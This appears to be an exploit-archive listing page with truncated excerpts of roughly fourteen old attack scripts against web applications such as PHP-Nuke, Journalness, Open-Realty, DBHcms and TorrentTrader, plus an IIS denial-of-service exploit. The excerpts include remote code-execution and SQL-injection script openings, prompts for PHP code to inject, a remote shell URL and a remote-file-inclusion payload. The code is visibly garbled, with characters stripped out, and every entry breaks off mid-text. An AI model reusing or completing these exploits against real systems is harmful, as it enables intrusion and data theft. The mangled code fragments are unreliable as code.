CVE-2010-0314

The connected SSV entry (SSV:19008) documents CVE-2010-0314 as a redirect-target disclosure in Apple Safari: if a site URL is placed in the HREF of a stylesheet LINK element, a user’s session can read document.styleSheets[0].href to reveal the redirect URL. It notes Safari 4.0.4 and describes the...

BaBB 2.8 Code Injection

!usr/bin/python BaBB 2.8 Full Code Injection Exploit AUTHOR : Sina Yazdanmehr R3d.W0rm Discovered by : Sina Yazdanmehr R3d.W0rm Our Site : http://IrCrash.com My Official WebSite : http://R3dW0rm.ir IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm Sina Yazdanmehr Download :...

Winn ASP Guestbook 1.01b Remote Database Disclosure Exploit

No description provided by source. !/usr/bin/perl -w Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit Found By : ZoRLu Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz...

TorrentTrader Classic 1.04 - Blind SQL Injection

TorrentTrader Classic 1.04 - Blind SQL Injection ====================================================== == TorrentTrader Classic NamE : TorrentTrader Classic == version : 1.04 == Download : www.torrenttrader.org ====================================================== == AuThOr : BazOka-HaCkEr ==...

PHP-Nuke Platinium 7.6.b.5 - Remote Code Execution

Date: 02/07/08 Note I modified a bit phpsploit for this exploit, because PHP Nuke plays with REQUESTURI var ... Requirements registerglobals=On phpreter phpreter is really easy to use: You can change mode using "mode=", with = sql, php or cmd If you want to understand how it work ... read the cod...

dbhcms-rfi.txt

!/usr/bin/perl DBHcms $shellurl = "http://localhost/s.txt"; print " DBHcms ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to evaluate? "; chomp$code=; $code = s/|new; $ua-timeout10; $ua-envproxy; $response = $ua-post$target,...

journalness-exec.txt

!/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to...

openrealty-exec.txt

!/usr/bin/perl Vendor url: www.open-realty.org note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Open-Realty ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to evaluate? ";...

Journalness 4.1 - last_module Remote Code Execution

Journalness 4.1 - lastmodule Remote Code Execution !/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness ; if$target ! /^http:/// $target = "http://".$target;...

phpEventCalendar <= 0.2.3 (eventdisplay.php) SQL Injection Exploit

No description provided by source. !/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar = v0.2.3 SQL Injection Exploit By Iron - ironwarez.info Thanks to Silentz for the help : Greets to everyone at RootShell Security Group & dHack Example target url:...

PNPHPBB2 < 1.2i - 'viewforum.php' SQL Injection

/ i PNphpBB2 "viewforum.php" SQL Injection Blind Password Hash Fishing Exploit i Vulnerable versions: PNphpBB2 You need at least 2 posts in the forum. - Thanks to waraxe for exploit structure... I have saved much time : Tested - Postnuke 0.764 with PNphpBB2 1.2i and MySQL 5.0.42 Maybe with other...

EasyNews PRO News Publishing 4.0 - Password Disclosure

= EasyNews PRO News Publishing 4.0 Remote Password Disclosure Vulnerability Affected Software: Easy News 4.0 PRO = Risk: Critical = Download: http://www.stphp.com/scripts/EasyNewsPRO40.zip = Bugfounder: bd0rk = Contact: bd0rkathackermail.com = Greets: str0ke, crashovernight, TheJT, Kacper Usage:...

fusionpolls.txt

Fusion Polls xtrphome Remote File Inclusion Credit : SpC-x Mail : [email protected] Site : http://wWw.SaVSaK.CoM Greetz : | TheBeKiR | Nukedx | Ejder | Str0ke | joffer | Poizonb0x | Remote File Inclusion : http://www.target.com/path/admin/index.php?xtrphome=Command-Shell /SpC-x...

Microsoft IIS - HTTP Request Denial of Service (1)

/ Microsoft IIS 5.1 Remote D.o.S Exploit by Kozan Application: Microsoft IIS Internet Information Server Vendor: Microsoft - http://www.microsoft.com/ Discovered by: Inge Henriksen Exploit Coded by: Kozan Credits to ATmaCA, Inge Henriksen Web: www.spyinstructors.com Mail: [email protected]...